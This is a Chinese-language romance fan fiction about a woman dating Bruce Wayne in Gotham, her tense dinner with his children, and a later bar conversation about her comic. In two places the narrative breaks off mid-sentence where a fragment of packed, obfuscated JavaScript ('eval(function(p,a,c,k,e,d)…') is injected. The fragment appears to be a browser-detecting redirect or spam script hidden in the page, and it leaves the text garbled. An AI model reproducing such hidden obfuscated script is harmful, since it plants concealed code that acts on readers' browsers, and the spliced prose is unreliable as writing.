由于新泽西州没法直接使用国内驾照过渡,住院的一周我还准备了材料和笔试,这两天就要去把东西换了。 没能从我这得到想要的反应,他眉心那道浅浅的纹路又蹙了起来:“我知道你想自己处理这些事,但是哥谭的情况和你那截然不同……我只是不放心你。” 租房、通勤……这些对于普通人而言算得上麻烦的问题在韦恩先生面前更像是小事,他只用打打电话,自然有人会帮忙安排好一切。 因此他虽然有意识到自己的礼物对于家境一般的恋人而言算得上贵重,却也没真正放在心上。 矜贵催生傲慢。 傲慢刺痛人心。 在我的视线里,男人睫毛一颤,眼神却依然真挚又温柔,带了些不容商量的执拗。我微微叹了口气,凑过去用脸颊贴了贴他的鬓边,明显能感到他的面部肌肉僵了僵。 “我不是在指责你,”一触即离,我坐回原位继续拆礼物,“十八岁不到我们俩就认识了,你和以前一样,喜欢把我当小孩照顾。” 方才还言之凿凿的男人噤了声,神色几经变换。我用余光瞥着,相当恶劣地勾了勾嘴角——这家伙从前到现在一直秉持着某种不必要的道德感,有时候逗弄起来非常有意思。 我笑眯眯地指了指身上的洋装:“现在我穿的——”随即又指了指脸,“还有用的,都是花你的钱。” “韦恩叔叔,其他东西也就算了,如果我的口红色号都是你助理挑的,我可要闹了。” 似是料到了我会拿还没确认关系时的称呼刺激他,驾驶座上的人呼吸一凝,脸上多了些权威被挑衅后的不虞。他撩起眼皮,目光凉嗖嗖的,聚焦在我的下半张脸: “那是我自己选的。你的东西都是我亲手选的,满意了?” “还行吧,”我做作地耸耸肩,忽视了男人在方向盘上越握越紧的手指,“下次我要釉面的,这个牌子的雾面太干了。” 他不说话,蓝眼珠就那么定定地抓着我不放。 猜也能猜到他现在最想做什么,我佯装不知,按了下喇叭惹来周围行人纷纷侧目。 “我没其他意见了,开车吧。” 男人的喉结滚了一下,他最后深深地看了我一眼,终于正过脸发动引擎。 轿跑泄愤似的一声轰鸣,汇入了街上的车流。 . 红霞漫天,夜晚的忧郁从天穹撒下来,将城市轮廓线染上似蓝似紫的艳色。 趁着男友去新公寓的阳台打电话,我开始整理在车祸里遗留下来的一部分行李。几乎百分之九十——包括我存着漫画分镜的平板电脑都已寿终正寝(这也是为什么我没法拒绝男友的馈赠),万幸重要的东西我都会及时上传云文档,因此才没耽误工作进度。 至于剩下的百分之十……我从破破烂烂的行李箱里拿出被精心裹在小毛巾里的毛绒玩偶,这些陪伴我度过好几年床上岁月的孩子们身上也有弹孔烧焦的痕迹,看起来需要专业人士进行翻新抢救工作。 算了,反正也都是些旧东西,干脆断舍离更好。 我熟练地自我安慰着,一边小心地用小毛巾把娃娃重新裹起来。 身后响起了脚步声,约摸是男友打完电话回来了,我顺势发问:“说起来,之前那两个运钞车抢劫犯究竟为什么要追着我和潘尼沃斯先生呢?” 男人在我身旁蹲下,一只手勾住我拖地的长发,将它们捋进裙摆的缝隙里。 “……”他微妙地停顿着,好像是在打量我烂糟糟的行李,“后来检查出来他们两人提前磕了药,当时估计是药劲最强的时候,一路上看见行人和车都会用枪进行扫射。” “我的车都用了不错的防弹材料,或许是几次三番没能摧毁目标,那两人才会执着于你们。” 原来只是我单纯的倒霉……果然在机场时就应该拒绝老管家的接送服务。 我把娃娃放回行李箱,一边叹气:“怎么想的,在做坏事之前不应该尽量保证自己的头脑清醒吗?” 那么高调地超速还用枪,换做是我的话,肯定要提前踩点,抢也只抢钻石之类又轻又便于携带的高价值珠宝。如果胃口实在大得要搬空金库,那更得小心谋划谨慎执行—— 听了我的想法,男友的表情一言难尽,开口打断了还在认真假设的我:“现在他们俩已经进监狱了。” “哦,那太好了,”我发自内心感慨,“要是能赔我精神损失费就更好了。” 见我准备把行李箱合上,身旁人语带疑问:“没有要留下来的东西吗?那些玩偶你以前给我拍过很多照片,想修复的话我可以找人帮忙。” “不了,”拉上拉链,我把东西往旁边一推,“反正也不是什么值钱的东西。” 长时间的跪坐令我双腿发麻,正想拜托男友拉我一把,他却盯着我的行李箱若有所思。 意识到我在瞧他,男人的双眼很快柔和下来:“怎么了,腿麻?” 他分明看出来了,唇角的笑意更像调侃,好整似暇地等着我开口。 我懒得和这人计较,张开双手:“不仅腿麻还肚子饿,想和你一起吃晚饭。” 言罢他笑容更甚,手臂穿过腋下把我一把捞起来。我在女生里身高并不算矮,此刻被他抱着,脚尖堪堪点地,不由“嘶”了一声。 男友从善如流地换了姿势,让我坐在他的臂弯里,施施然朝玄关走去:“我定了餐厅,他们家的海鲜和风景都还不错。” ……万恶的资本家!把高级餐厅的预约名额说得像烂大街的白菜!不过因为我也是既得利益者所以就在内心怒一下算了——咦,他是不是在我说要和他吃饭前就在阳台那预定好了今晚的活动? 也许是我过度反应,但自从我到了哥谭,这个男的好像仗着能随时随地见面,正肆意释放自己的控制欲。 又或者只是我刚来这就吓了他一个大的,现在的男友不过是处于因后怕而催发的黏人期? 我把下巴搁在他精心后梳的脑袋上,看着男人用空余的那只手既要拿自己的外套还要帮我拎鞋拎包,心口涌上一点暖意。 “事先说明,如果需要我AA的话,我兜里只有三千美金。” 他打开门的手一顿:“……你觉得我会让你付钱?” “不会,”我的斩钉截铁很好地安抚住了男友,他接着出门上锁往电梯那走,“不好意思,我上次和男的单独吃饭还是在几年前,那个死金融男点了巨贵的红酒——” “然后你一口没喝还要多花一倍酒钱,我知道,你那天晚上回来就和我说了。” 我的心理阴影还没升起来就被打断了,一时间没吱声。光滑的电梯门反射出男友面无表情的脸,我从没想过他记性原来这么好。 最重要的是,我好像又惹他生气了。 严格来说那个金融男都不算我的前男友——我还是知道不能在现任面前谈论前任的道理——只是朵烂桃花,普通人对此不该一笑置之吗? 都说人会随着年龄增长变得更宽容,我看布鲁斯·韦恩就是反着来的。 偏偏他那张脸长得极具欺骗性,情绪像是流转的碎片,很快便会被掩埋在心底。若不是我认真观察,仔细聆听,还真不一定能发觉。一直到坐进餐厅里等着上菜,他依然还保留了点先前的气性。 以往隔着网线很多情况只能分析字面意思,指不定他像这样偷偷生气都不是第一次。 侍者端上前菜,我对西餐礼仪一窍不通,便学着男友的样子尽量不发出声音,把食物送进嘴里。 好吃诶! 纵使有意克制着速度,面前的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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被他这么一提醒,我不免分散更多的注意力到周围。之前一直专注于观察男朋友的心情时还没有意识,现在再一看,的确有不少客人都在往这里投以目光,他们多数都隐藏的很好,再加上我们的餐桌本就靠窗,说是欣赏高空风景也不为过。 我的背脊因为这些注目反射性地绷直了。 没来得及说什么,放在桌上的左手被一层暖意覆上。男人松松握着我的手指,拇指指腹摩挲虎口,带了点抚慰似的柔和:“不用管别人,我们吃我们的。” “你说得简单……”我嘟囔着,反手掐了一下他的掌心。目前的我正处于“人靠衣装马靠鞍”的全副武装之下,虽是不虚被人打量,但终究不习惯——我还是更喜欢缩在角落观察别人。 多了这一层束缚,再精致可口的晚餐吃起来都有点没滋味。我恹恹切着盘子里的鱼肉,看出我的兴致着实不高,男友也放下刀叉:“抱歉,是我考虑不周了。” “不,是我想得简单了,你以前只和我说过饭菜好吃,应酬无聊,但事实上你很习惯生活在这种……”我环视周围,最终视线落于不远处的屏风上,“一举一动都被外界关注的环境里。” 似是听到了什么新奇的观点,他在桌上摊开手掌心,我顺势把手指搭了上去,踩着他的茧子当弹钢琴玩,“如果要跟你维持现在的关系,我不得不适应这点。” “这不是必要的,”男人的嗓音压低了些,“我的公司现在交给了孩子们打理,需要我出席的场合很少,你愿意的话我们可以去其他地方约会。” “你知道这一个星期我听了你多少八卦绯闻吗?”说这话时,我的手指被他攥紧,对面人的蓝眼睛有点狼狈地挪开了,“很有自知之明嘛,花花公子先生。你瞧,这几年你是收敛了,但捕风捉影的传闻从不会少。” “咳……我真的没有……”他有点不知道怎么解释。 “我相信你,”我不介意在这种时候给予应有的尊重,“但是吧……” 说实话,我不确定接下来要说的会不会令男友感到不适,思忖着想改改措辞。在这段微妙的空白里,布鲁斯从一开始简单的牵手变成用虎口牢牢卡住我的手腕,一边用手型差把我的整个手掌都包在他的指间。 以他作为恋爱对象,应该是不会介意的。 “要是下次有什么公开活动,你因为今天的事要带别的女伴出席……那样我才会感到不爽。” 至于不爽的程度有多深,最起码能压过被当众注目的不适感一大截。 听了这番话,男人有一瞬的哑然,原先不自觉压低的眉宇也缓缓抬起,组成了一个类似喜悦的表情。 为什么说类似,因为与松快的面部肌肉相比,他的双眼正紧紧盯着我。 我被看得浑身不自在,扭了扭手腕,忍不住又去看先前的屏风,“……说点什么呢,这位先生?” 他很轻易地张开了手指,转而和我十指相扣——这回是真的挣脱不开,对面随即传来了低低的笑声。 得寸进尺! 从脸上升腾的热度判断,我很肯定自己又脸红了,始作俑者却不说话装高手,一双弯弯的蓝眼睛不愿放过我此刻的任何一丝窘迫。 “你还吃不吃饭啊!” 我气得想磨牙,叉起一块鱼肉堵他的嘴。 厚脸皮先生神色自若地咽了,手没松,似在示意我“贿赂”不够多。 “你适可而止一点……”我尽可能地小声嚷嚷,“那边那桌的青少年都用奇怪的眼神看过来好几次了,我不想带坏小孩!” 我指的当然就是屏风后面的那一桌客人,若不是其中的男孩长得有点眼熟,我可能都不会关注到他们。 男友顺着我的视线望去,脸上的笑意却霎那间褪得一干二净,只留下一种乌云压境般的严肃。 他从牙关里挤出一个名字:“达米安。” 4. 04 提问:和男友吃饭偶遇他亲生儿子是什么体验? 谢邀。我放在餐桌下的脚尴尬得能扣出一座新天鹅堡。 再提问:小孩身后还跟了哥哥姐姐怎么办? ……答主的灵魂现在正在离体回家的路上。 别看我此刻一脸微笑地端着酒杯,实际上内心正在疯狂背诵刚刚自我介绍时对面三人所说的名字,并试图和男友提到过的人物画像一一对应。 服务生为我们换了个更安静的半封闭式包厢,众人围成一圈落座,场上却分割出了明确的真空带。出于某种自卫心理,我把椅子拉得离男友很近,确保有什么问题回答不上来时能准确又快速地踢中他的小腿,拉他救场。 好吧,我承认这有迁怒的意思在。 毕竟还有外人,我不想暴露自己连用餐礼仪都不太会的事实,连香喷喷的肉类主菜上桌,都只能装作胃口小地多喝酒。 “……你目前是来哥谭大深造的吗?”说话的女士有一头蓬松的姜红色长发,她是警察局长的千金芭芭拉·戈登,从小就和韦恩家的孩子混在一起,男友基本上将她当作女儿看待,“我在那的图书馆就职,以后有空说不定会常见面。” 她或许是在场的年轻人里唯一一个比我大上几岁的,用餐礼仪无可挑剔,说话时会小幅度地调整一下眼镜,但从镜片厚度判断,近视程度不深。 “我听说那里的藏书量非常丰富,还在国内的时候就想去看看,”外国人常常会弄错亚裔的年龄,我没必要说些会令对方尴尬的话,“不过要我去读研究生还是算了吧,我都工作好几年了,读的书全部都还给老师啦。” “噢,不好意思,我还以为……”她咽下了后半句话,但从在场人的表情上判断——大概率是以为他们的老爹包养了个女大学生。 我顺势笑了两声:“没关系,我想亚裔的年龄的确不好猜。” 解除了这一误会,餐桌上的氛围也没有先前那么僵硬,时不时有餐叉与盘子之间磕碰的轻响。 “还是布鲁斯的保密工作做的太好了,直到一周前他才突然说自己谈了个女朋友,还问我们什么时候有空回大宅聚餐。” 这回说话的是戈登身旁的青年,短发微卷,瞳色是与男友相似又不同的浓蓝。他的面容骨相略别于普通白人,小麦肤色中隐隐透着红,露出的锁骨上并没有晒痕,大概率是天生的深肤色。 理查德·格雷森,男友收养的第一位养子,我记得他和我的年纪差不多大。 “那还烦请您原谅,格雷森先生,”在青年的随之而来的提议中,我去掉敬称直呼对方姓氏,“当初是我说过的不用声张,就我个人而言,更希望把亲密关系留存在两人之间。” 对方直接当着我的面抱怨男友先斩后奏,我自然不可能把这个软钉交给身旁人去碰。 言罢,我面前的餐盘被伸过来的大手拿走,取而代之的则是男友的那一份主食。他已经细心把肉类切割成适口的大小,没人在这种情况下还要纠结先用刀还是先用叉,单纯送进嘴里就行。 他出乎意料的举动卡住了我的语言系统,对此同样感到惊愕的还有对面吃饭的孩子们——格雷森连肉都不切了。 “你干嘛呀?”我小声用母语和他咬耳朵,“我还在舌战群儒诶!” “你喝醉了容易做傻事,”前半句男友回得也很轻声,但随即他的语调便古怪起来,“还有,他们听得懂。” 这种事你不早说! 我气得在桌子底下给了他一脚,男人一声没吭,气定神闲,好像压根没有感受到五厘米高跟鞋的威力。 最后还是格雷森说了几句俏皮话来打圆场。男友的行动是个明确的信号,他的家人们也看得出来他的在乎,再和我说起话来愈发柔声细语,少了很多探究。 当然,除了那个从拼桌后就一言不发,始终用冷冰冰的眼神打量我的青少年。 敌不动,我不动,况且视线又不能真的杀死人。我慢悠悠地品尝被切好的食物,装作看不见小孩那越来越明显的低气压。他的大哥有意想要打破这份僵局,在确定自家老爹没有开口的意思后,青年在话语的末尾主动提及了些无伤大雅的往事: “……布鲁斯上次带人回家都是好几年前的事了,那时候达米安还在他妈妈那呢,”看得出来,这个家的调和剂大概率就是格雷森本人,“他其实对你挺好奇的……我们都对你挺好奇的。” “人之常情,”我还是保持微笑,“害怕父亲被突然冒出来的女人拐跑了?” 这是我在餐桌上第一次向男孩搭话。他的五官和肤色更随母亲,但一双锐利的绿眼睛长得太像布鲁斯,我顿时有种向小时候的男友抛出挑衅的错觉。 而余光里,他的老爸斜睨了我一眼。这亲生父子二人也是有趣,布鲁斯肯定知道我对这小子搅黄约会的不爽,但他没出言阻止,仿佛是有意试探我们会如何相处。 “你只是父亲的情人之一,从前不会多,以后也不见得少,”从男孩吐出第一个字起,我就能预想到自己绝对不会跟这种眼高于顶的小鬼和平共处,“我没有什么需要担心的。” “……达米安。”这番把空气都能冻住的发言第一个惹毛的不是我,而是身旁握紧刀叉,语带威胁的男友。 第二个做出反应的,又是好好先生格雷森:“可能是事发得太突然,达米安和我们都没做好心理准备……” “今日一见,我们都能看出来你们的感情很好,”紧接着,连戈登小姐都在尝试挽救,“听布鲁斯说你们之前一直都没法见面,现在终于有机会生活在一起,也是件值得庆祝的事。” 话音刚落,所有人都能听见男孩不屑的轻嗤。 我及时拉住了想要起身说些什么的布鲁斯,他很快在餐桌下反握住我的手,但当我们四目相对后,男人选择将话语权交还到我这里: “你说得对,戈登小姐,我很珍惜现在能够真实触碰到恋人的时光。” 虽是在回应红发女士的临场救急,我却是一字一顿,认认真真看着达米安·韦恩说的,“我也不否认未来可能产生的变化,以及你对父亲和自身定位的担忧,毕竟我也是有过青春期的。” 像这种高自尊、自以为可以对大人之间的关系妄下定论的青少年最不喜欢什么? 大概就是被嘲讽的对象当成小孩来包容。 我简直像面对着一头皮毛炸起,咕哝个不停的幼狼,在他张开嘴想要咬我之前,我需要做的就是先一步退出这个划定了范围的决斗场,把它交给原本的驯兽员照顾。 “我想我得去透透风,确实喝得有点多了,如果说了什么冒犯的话还请见谅。” 捏了一下男友的手,我轻巧站起身,相当有礼貌地把空间留给了这一家人。 . 餐厅有座小型露台,由于层高风大,这里被装饰得郁郁葱葱,被划给了需要抽烟闲谈的男女士们。 我心情颇好地提着手包,穿过盛开的花墙来到露台角落。这里并没有多余的关注,我伸了个没形象的懒腰,掏出打火机给自己点上一根薄荷双爆。 藏在四周的音响放着一首听过的情歌,远处的天际线在灯火辉煌的城市里不甚显眼,夜空中悠闲度日的飞空艇上印着韦恩集团标志性的“W”,我吐出一口烟,对男友的财力认知再次刷新。 也难怪小孩会反应过度,万一我这个来历不明的女人真的和他爸结婚,他作为私生子的确处境会尴尬许多。 如此看来,自己方才那些有意无意的挑衅更像是战前宣言,也不知道小孩被自家老爸批评一顿会不会想咬我一块肉下来。 又或许没了外人,父子俩会在格雷森和戈登的调节下重新和好呢。 我漫无目的地发散思维,大半个身子都倚在栏杆上。晚饭当然是吃不下去了,我准备待在这直到布鲁斯单独来找我,到时候大抵能避免和他的家人说再见,也能和他聊聊刚刚发生的事。 以他表现出来的态度,多数还是会站在我这边吧,但这家伙对自己的孩子其实非常重视——我和他刚认识没多久的时候,他就会旁敲侧击地向我打听些同龄人的喜好,试图从更年轻的角度来理解自家孩子会想些什么。 某种程度上,我们之所以会发展成朋友,也是因为他有个年纪很轻便中途夭折的养子,许是出于移情作用,那段时间的他非常照顾我,给予我的精神支持远超我的生身父亲。 不过对于惹毛男友的宝贝老幺这件事,我是不可能道歉的。 抽完一根烟,时间还尚早。我点上第二支,刚想放在唇边,忽地一阵夜风衔着烟味直烧鼻子,我猝不及然咳嗽两声,最终还是放弃再抽一根的打算,从手包里掏出随身携带的速写本,准备画画附近的客人打发时间。 这么观察他人很有意思,我画了不少东西,比如在拐角处连吻了两个不同女人的偷腥猫,还有个在合照最后排拼命踮着脚的矮个子。稍稍调整角度,还能看见在花墙的遮掩下牵手拥抱的同性情侣,她们耳鬓厮磨的样子非常养眼,是拓印在纸上也能留存的美丽。 不知不觉间,细烟燃尽烫了手指。我意犹未尽地把它掐在烟灰缸里,正准备掏出粉饼补个妆,视野角落倒是闯进了个意想不到的人。 绿眼睛的小狼在满是狐狸的花园里逡巡。 我挑起眉,手里也不忘按压着粉扑上脸。他的这张脸也具备一定知名度,刚走了没两步,就被几个精雕细琢的男女拦了下来。 见他们的话一时半会儿说不完,我还是决定先整理仪容仪表,然后再看看手机,果不其然收到了男友的短讯: 【达米安很可能去找你了,】他这话后面漏打了算账二字,【我临时有通工作电话,打完就过来,待在吸烟区别走。】 难怪狼爸爸没追在后面。 收回手机,我重新把高跟鞋的系带扣紧,小跑着去凑小孩哥的热闹。离得近了就能看见其中一个大人情绪有些激动,烟灰掉在袖口上都没发觉: “你说什么?” “我只是好心提醒,在用你肮脏的飞沫污染空气前把烟掐了。”少年的语气就像他的刺猬头一样硬,我毫不怀疑任何在这时候想和他套近乎的人都会撞在枪口上。 对面的男人怒极反笑,拨开身旁人劝阻的臂膀:“看看清楚,韦恩的小祖宗,这里是吸烟区,不是你的儿童乐园。” “如果不是你主动招惹我,你觉得我会在乎一个用皮包公司空手套白狼的人渣会怎么把自己抽死?” 哇哦,这可是不得了的爆料,也不知小孩是怎么知道的,从对面撸袖子的动作来看,他百分之九十说的是真话。 “借用一下。”眼见事态要上升成暴力事件,我总不能真的看着男友的儿子被打,当即夺过周围看客手中的酒杯,对着那边气得脸红脖子粗的白男泼了过去。 哗啦啦的水声格外悦耳。 才发现自己身后站了个我,达米安回头的动作充满警惕,夹带着不可置信。我没空安抚他,几步之遥的落汤鸡转移了仇恨,从嘴里连着骂出一串生殖器官,看起来是要带我一起收拾。 果然不应该喝那杯佐餐酒,男友多少有点太了解我了——几口下肚就忘了“谨慎”怎么写。 “你&%¥@谁啊!敢多管我的闲事!” 趁着周围人把他围起来的空挡,我扯过小孩的手臂就跑。 动手的那一刻,我还有些担心这小鬼会倔得十头牛也拉不走,但他脸色虽然臭,仍是跟着我跑了一会儿,从另一个方向离开餐厅露台 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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脚步不停,我瞥了眼跟上来的少年:“今天在餐厅碰到你们又不是巧合,你的哥哥姐姐能帮你打掩护,也见不得有多喜欢我,我为什么还要回餐桌那惹人烦?” 他皱着眉,眼神狐疑:“如果你想要成为韦恩的女主人……” 果然,这才是小孩这么敌视我的原因。 我抬手做了个“停”的手势,然后按了电梯:“打住,和我谈恋爱的只有你爸,我可不想连你们一家的情绪都纳入照顾范围。” 潘尼沃斯先生是长辈还需要顾忌,对于男友的孩子们我可只准备保持点头之交。 敏锐地觉察到我的言下之意,达米安却不见得放松,似是要在我脸上盯出两个洞:“父亲从不会带外人回来聚餐,还要求我们都到场。” 的确,男友那天说得轻描淡写,也被我半开玩笑地回绝了,但这其实代表了很多东西。 我还没有做好思想准备。 货梯在我的沉默里到站,“叮”一声回荡在安静的消防通道内。许是从我的脸上解读出什么,男孩的语气更差,“如果你只是想不负责任地随便玩玩,韦恩不是你能戏弄的对象。” 货梯门打开了,其中白光只能照亮人的一半脸,我稍觉刺目,却没有眨眼。 “小孩,不要随意揣测我和你父亲的关系。” 因为不少人觉得我面无表情时不好相处,我养成了随手表情管理的好习惯。 又因为父母嫌我沉着嗓子说话不够可爱,我从中学起就学会模仿班级里最细声细气的可爱同学,久而久之,连我自己都有些辨认不出,耳畔饱含威胁和暴力意味的声线是从自己的咽喉倾吐而出的。 一定是酒精的缘故,才会致使理性在此刻被感性压倒。 “你和他相处了多久,自十岁算起差不多是五年?”我抬步逼近男孩,身高加持能让我很轻易地把人笼罩在阴影之下,但幼狼没有退缩,泛绿的眼珠反被激起凶性,就这么和我对视。 “我认识他的时间占据了我人生的三分之一,只是因为无法见面,就轮到你这样的小鬼大放厥词……”我冷嗤一声,“问我为什么不想和你们一起吃饭?” “当然是因为我讨厌每一个,每一个在我之前就和布鲁斯生活在一起的人,尤其是你,亲生子。” 货梯门在我们对峙时已悄然关合。我按下按钮,将它再次打开,转身两步走入其中,把另一个人抛在脑后。 金属门扉缓缓关闭,男孩的身形在视野里消失。他直到最后也未发一言,任由电梯遮蔽住自己笔直的凝视。 我在狭小的空间里慢慢吐出一口气。 【你信不信,你家小孩待会儿肯定要告我的状。】 男友估计一直拿着手机,方才我发信息让他来消防通道找我们,现在的回复也很快: 【别太为难他了。】 我盯着这条短讯看了两秒,移开目光。 电梯还有十层到底。 【哼,想让你的新欢和你前女友的孩子和平共处是不可能的。】 所幸只有文字,男友也不会有机会发现我嫉妒的根本不是那个早已和他分手的前女友。 【我一个人先回车里了,你自己和小孩多聊聊吧,不是说好不容易才从冷战关系恢复如初的吗?语气温柔点,也别一副大家长做派,达米安的个性容易引来校园霸凌,你下个月去学校记得关注一下他同学的态度。】 一连串消息发出,我没有等待对面的回复,按熄手机屏幕。 货梯到达了地下车库,这里的消防通道是声控灯,许是有些接触不良,面前还是黑漆漆一片。 我没有犹豫,一头扎进浓郁的黑暗里。 5. 05 一天早晨,男人从不安的睡梦中醒来。 他本能地想去拥抱身旁躺着的妻子,最好还能在她温暖的胸膛间嗅一嗅沐浴香波的气味。这么想着,他便把脸轻轻转了过去,但取代平日里亲昵的爱称,一声惊呼先从他的嗓子眼里冒了出来。他发现枕边人变成了一只巨大的螳螂,而他先前便是安睡在对方寒如利刃的两条前肢中,只差稍稍抬头,那对强而有力的手刀便能割下他的头颅。 “我怎么了?”他用力地眨眼又闭上。可这不是噩梦,而是现实。躺在他妻子位置的螳螂被他的尖叫吵醒,奇异的是,男人似乎能从那张怪异的、口器开合的头上感受到熟悉的温柔神色。对方冲他张开前肢,他却以为这是进食前的信号,连滚带爬地掉下床铺。自己的房间什么时候变得这么大了——男人仓惶地逃跑——他已经把那只怪物甩在身后了,只要下了楼梯,他就能扑到电话那通知警察,要求他们逮捕它,要求他们找出妻子在哪。 想象中的喜悦短暂地蒙蔽了他的反应力,他习惯性地想要踩中下一个台阶,可这座供他上上下下十几年的楼梯却收起了平日里的温顺,一阵剧烈的天旋地转后,他因为一脚踩空而跌了下去。 全身都在疼痛着,头部更是像被呼呼的冷风吹抚。意识朦胧间,男人看见一对光滑的足部在眼前走来走去,家里的电话还是被拨通了,上门的不是全副武装的警察,而是白大褂和担架。 当他被许多对毛茸茸的手托上救护车,在刺目的灯光下,他终于意识到自己眼前全是动物的脸。一只戴着头灯的灰褐色鼹鼠凑了过来,男人仿佛能闻到它嘴里泥土和蚯蚓的气味,等它湿漉漉的粉鼻子贴上他的脸,这个可怜的家伙再也坚持不住,两眼一翻晕死过去。 …… “然后呢?” 光线昏暗的酒吧里,身旁的女人等待着我的下文。 我关上备忘录,一口气喝完了放在吧台上的气泡饮料。翻译自己的灵感并不是难事,但要把它说得流畅又通顺,这着实费劲。 “我就先翻译了这么多,毕竟只是昨天去图书馆后一时激情的产物……《变形记》的原文果然和我在国内看的译版有很大的区别。” 编辑闻言略带嗔怪地笑了起来:“所以你说着要取材失联了一周,结果是泡在了图书馆里?” “……要想了解一座不熟悉的城市,图书馆是最好的选择,”在微妙的心虚后,我重新理直气壮起来,“而且哥谭本地有非常多的传说故事,恶灵、魔鬼、家族诅咒——这个地方简直就是我梦想的取材地!” 身为本地人的编辑无法理解我的亢奋。 在这里居住了快一个月,我多少也能从新闻和切身体验中判断出哥谭的治安状况。和这里的义警文化相辅相成的,是层出不穷的罪犯和“超级反派”,城市仿佛诅咒的温床,不断培育出色彩鲜艳的毒虫,期待着它们破茧成蝶,而警察和“超级英雄”更像效果不同的杀虫剂,缓慢但坚持地铲除着一个又一个孵化地。 在这种环境下生活的哥谭人似乎进化出了天性般的警觉,当我和男友同样听见街角那传来噼里啪啦的爆响时,我的第一反应是有人在放爆竹,而男友却会反射性地将我扑倒。 “老天,我真怕哪天半夜接电话发现是你死去的灵魂打过来的……” 吧台里侍者把我的杯子重新填满饮料,我又抿了一口,听着编辑开玩笑道,“然后和我说这个月的稿子没画完,让我等你去下面玩一圈再回来赶稿。” “如果但丁所说的地狱真的存在,那我还是会报名一日游的。” 面对我认真的假设,喝完手中鸡尾酒的女人翻了个白眼,唰一下从座位上站起:“悠着点吧,我的小摇钱树,我还等着你的漫画卖出影视版权大赚一笔——嗝!我先去趟卫生间!” 见状,我自然想起身陪她过去,却被编辑一把按回高脚椅上,“行了,你留在这看包顺便盯好我们的杯子,姐姐我酒量好着呢。” 正如她所说,走的路还是直线。 我乐得偷个小懒,便缩回吧台里,掏出手机浏览着自己的备忘录。速写本很快也被摊上桌,我用手机闪光灯照明,想象着这个临时编写的小故事需要什么模样的男主角,一边侧过身子,看看酒吧里会不会有符合人物侧写的脸。 现在回想起来,当时得知自己申请工签通过时,我还以为正在做梦,呲着个大牙乐了许久。 由于家庭关系,再加上我本人也并不算很有天赋的类型,能给自己喜欢的漫画公司供稿已经算是我所能想到的最好工作了,更别提还有机会因此来到男友所在的国家。 而如果想要在这里定居,我必须拿到更好的成绩,比如能出版自己创作的独立漫画。 这时候我就会感谢自己从小养成了写作的习惯,也尝试过发表在论坛上看看反响。男友算是我最早的一批读者之一——虽然他一开始是为了揪我的逻辑漏洞才留的言。 如今我的画工也得到了一些认可,正是能开画独立漫画的好时期,编辑得知我有这样的想法,今天便约我私底下见面,说是正好给我传授一些技巧。 愿意照顾一个经常性在她的国家文化里遭受歧视的亚裔——尤其还不是接受美式教育长大的——这一点其实是比较难得的,估计也和编辑曾经在中国留学的经历有关。 如果今天的约会能愉快结束,我必须考虑将这位女士正式摆到“朋友”的位置上,并持续且长久地为她提供相应的情绪价值。 根据对方目前为止表现出的品行,以及她在杂志社的地位来看,这份交易其实是我占了便宜。 至于能不能成为真正亲近的友人,我实在不擅长预测这个,还是暂且按下不表。 纸上的人物只有一个轮廓,我转着笔,皱着眉看备忘录上被标红的人物特质。正烦恼呢,余光里有亮光闪过,一杯颜色梦幻的无醇莫吉托被送到面前,先前帮忙倒饮料的侍者冲我笑了笑: “不好意思,我着实好奇刚刚那个故事会怎么发展,”对方很年轻,体格却相当惊人,额发挑染了一束白,“这杯算我请你的,小姐。” 他操着一口标准的东部口音,不过因为本人声线很有磁性,咬字又清晰,因此听感很是悦耳。 突然被人搭话,我还有些不习惯,后背贴上和吧台焊在一起的装饰柱。对面的青年见我不说话,伸手摸了摸后脑勺,面孔上浮现出一丝古怪的腼腆,“在你先前讲故事的时候我离得近,顺道听了一耳朵。” 他讲的话无可挑剔,实际上,我也很乐意有人愿意听我那些一拍脑袋想出来的东西——真正令我感到不适的,是先前开始莫名起了一后背的鸡皮疙瘩。 许是做过什么面部手术,青年的左脸即使半隐在昏暗里,也要比右脸多出一些皮肉分离的僵硬。出于礼貌,我又不能盯着细看,于是稍稍调整了坐姿,强行放松自己紧绷的肌肉。 “还请您见谅,我想剧情想得正入神,”为自己刚才的行为稍作补救后,我放下笔,单手把莫吉托拢到自己面前,“如果能让您觉得有趣是我的荣幸,我也还在构思阶段,能得到不同人的反馈那真是再好不过。” “虽然整个叙述形式都偏向卡夫卡的《变形记》……”看上去长得粗犷不羁,对方说起话来倒是文质彬彬的,“但要说人变成动物更频繁的还是奥维德的叙事诗,你是想写一篇讽刺小说?” “我可不敢说自己有那么高深的立意,”我几乎是立刻否定道,挂上了惯用的谦虚表情,“只是觉得把视角翻转一下会有些意思。” 青年似是洗耳恭听般将上半身稍稍倾斜,用两只手臂撑着台面。 他露出的手和小臂上有非常多细小的伤痕,掌骨头部还有拳击疤。不戴首饰,右手食指与中指的指甲稍稍变色,大概率和我一样都有长期抽烟的习惯。 借着低头抿酒的空隙,我收回了放在对方身上的视线:“提到动物、昆虫,大众多数都会认同它们有着原始而不加掩饰的习性,所以我想看看把一个人放在那样的社会里会做些什么。” 这并不是什么新鲜的课题,我也不觉得自己的第一本独立漫画便能顺利大爆,更多是因为喜欢类似的剧本才会去写。 “但你的男主角并不是一个具备冒险精神的人。” 他能如此一锤定音,说明之前的确有认真听故事。我对青年的观感也变得好了些,听他继续道,“这样的人只会被社会的野蛮裹挟着前进,永远在见招拆招。” 后半句话的指向意味有些明显。 我的简短开头不足以支撑起他的全部论调,这样看来,青年应是在借着与我交谈的名义联想到了其他什么人身上。 思忖着,我将声音放柔:“您说得对,我的确想要一个稍显软弱的视角去呈现动物社会的一部分特质——比如野蛮和无情。任何一个拥有正常良知的主角都会试图阻止它们同化自己,因此激发故事的矛盾和高潮点。” 